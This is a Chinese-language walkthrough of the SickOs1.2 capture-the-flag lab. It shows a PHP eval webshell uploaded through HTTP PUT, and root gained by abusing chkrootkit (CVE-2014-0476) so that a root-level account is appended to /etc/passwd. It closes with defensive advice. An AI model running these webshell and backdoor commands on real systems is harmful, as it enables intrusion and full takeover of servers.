SickOs1.2靶机渗透
字数 1814 2025-08-12 12:08:15
SickOs1.2靶机渗透教学文档
1. 靶机概述
靶机名称: SickOs1.2
下载地址: Vulnhub SickOs1.2
渗透目标: 获取root权限并读取/root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt文件
难度级别: 中级
渗透测试类型: 独立靶机
2. 环境准备
- 靶机IP: 10.8.0.106 (根据实际网络环境可能不同)
- 攻击机: Kali Linux或其他渗透测试系统
- 工具准备:
- nmap
- dirb/gobuster/dirsearch (目录扫描工具)
- curl
- Burp Suite
- Godzilla/中国菜刀 (Webshell管理工具)
- Metasploit (可选)
3. 信息收集阶段
3.1 端口扫描
使用nmap进行端口扫描:
nmap -sV -p- 10.8.0.106
扫描结果:
- 22/tcp open ssh
- 80/tcp open http
3.2 Web服务枚举
访问http://10.8.0.106,仅显示一张图片,无其他明显信息。
3.3 目录扫描
使用dirb或其他目录扫描工具:
dirb http://10.8.0.106
发现可疑目录:
- /test
- /%7Echeckout%7E (URL编码,实际为/~checkout~)
测试结果:
- /test: 访问后重定向回主页
- /~checkout~: 403 Forbidden,查看源码发现
encoding="iso-8859-1"
4. 漏洞利用
4.1 测试HTTP方法
使用curl测试/test目录支持的HTTP方法:
curl -v -X OPTIONS http://10.8.0.106/test/
返回结果:
支持PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK方法
4.2 利用PUT方法上传文件
使用Burp Suite拦截请求或直接使用curl上传PHP文件:
- 上传phpinfo测试文件:
curl -X PUT -d '<?php phpinfo(); ?>' http://10.8.0.106/test/phpinfo.php
-
验证上传:
访问http://10.8.0.106/test/phpinfo.php确认上传成功 -
上传Webshell:
curl -X PUT -d '<?php @eval($_POST["cmd"]); ?>' http://10.8.0.106/test/shell.php
4.3 获取Webshell访问权限
使用Godzilla或其他Webshell管理工具连接:
- URL: http://10.8.0.106/test/shell.php
- 密码: cmd
- 连接方式: PHP_EVAL_XOR_BASE64
成功获取www-data权限的shell。
5. 权限提升
5.1 检查定时任务
在Webshell中执行:
cat /etc/crontab
发现可疑任务:
系统定期执行chkrootkit工具检查rootkit。
5.2 研究chkrootkit漏洞
查找发现chkrootkit存在本地提权漏洞(CVE-2014-0476):
- chkrootkit会以root权限执行
/tmp/update文件(如果存在) - 漏洞利用代码参考: 38775.rb (可在ExploitDB找到)
5.3 创建恶意update文件
- 生成加密密码:
perl -le 'print crypt("toor","toor")'
输出: to5bce5sr7eK6
- 创建update文件内容:
#!/bin/sh
echo "toor:to5bce5sr7eK6:0:0:root:/root:/bin/bash" >> /etc/passwd
- 上传到靶机/tmp目录并设置权限:
chmod 777 /tmp/update
5.4 等待定时任务执行
等待系统执行chkrootkit(通常每5-10分钟执行一次),或者手动触发(如果知道触发方式)。
5.5 切换root用户
使用创建的用户登录:
su toor
密码: toor
成功获取root权限。
6. 获取flag
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
7. 其他可能的渗透路径
-
Metasploit利用:
- 使用exploit/unix/misc/chkrootkit模块
- 设置payload和参数后执行
-
SSH弱密码爆破:
- 如果22端口开放,可尝试常见用户名密码组合
-
Web应用其他漏洞:
- 深入分析Web应用可能存在的其他漏洞
- 检查是否有SQL注入、文件包含等漏洞
8. 总结与防御建议
渗透总结:
- 通过HTTP PUT方法上传Webshell获取初步权限
- 利用chkrootkit的定时任务漏洞实现权限提升
防御建议:
- 禁用不必要的HTTP方法(如PUT、DELETE等)
- 及时更新系统组件(chkrootkit等工具)
- 限制/tmp目录的可执行权限
- 监控/etc/passwd文件的异常修改
- 实施最小权限原则,避免不必要的root权限执行
学习要点:
- HTTP方法枚举的重要性
- 定时任务检查在权限提升中的关键作用
- 已知漏洞利用的快速识别能力
- 多种渗透路径的思考方式